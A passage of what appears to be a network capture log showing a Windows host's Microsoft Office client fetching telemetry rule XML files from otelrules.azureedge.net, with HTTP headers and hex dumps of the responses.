2024-10-31 06:15:25 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:25 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:25 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:25 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061525Z-16849878b78tg5n42kspfr0x4800000009700000000031cg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:25 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:25 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:25 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:25 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 52c531be-301e-0096-5d78-2ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061525Z-15b8d89586f8nxpt6ys645x5v00000000aa000000000d0zg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:25 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:25 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:25 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:25 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 30963bf2-701e-0001-2a98-28b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061525Z-15b8d89586fxdh48ft0acdbg4400000002w000000000c696 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:25 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:25 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:25 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:25 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: c49cf7be-b01e-0002-3880-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061525Z-16849878b78zqkvcwgr6h55x9n00000008eg00000000qexy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:25 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:25 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:25 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:25 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a6706070-501e-005b-556d-28d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061525Z-15b8d89586f8nxpt6ys645x5v00000000a9g00000000dxec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:25 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:26 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:26 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:26 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061526Z-16849878b78fkwcjkpn19c5dsn0000000850000000008rp4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:26 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:26 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:26 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:26 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 7a68eea2-001e-00a2-2aac-2ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061526Z-159b85dff8f46f6ghC1DFW1p0n00000001d00000000054wc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:26 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:26 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:26 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:26 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 38943712-901e-002a-666e-2a7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061526Z-159b85dff8fgc78phC1DFWd3vs00000000t000000000fvve x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:26 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:26 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:26 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:26 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 626021c1-201e-0085-10af-2a34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061526Z-17c5cb586f659tsm88uwcmn6s400000001ng000000006k3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:26 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:26 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:26 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:26 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4769d5f8-401e-0067-710e-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061526Z-16849878b78j7llf5vkyvvcehs0000000aa0000000001e0n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:26 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:28 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:28 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:28 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 256940b1-801e-008c-6295-2a7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061528Z-159b85dff8fdh9tvhC1DFW50vs000000012g000000006gc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:28 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 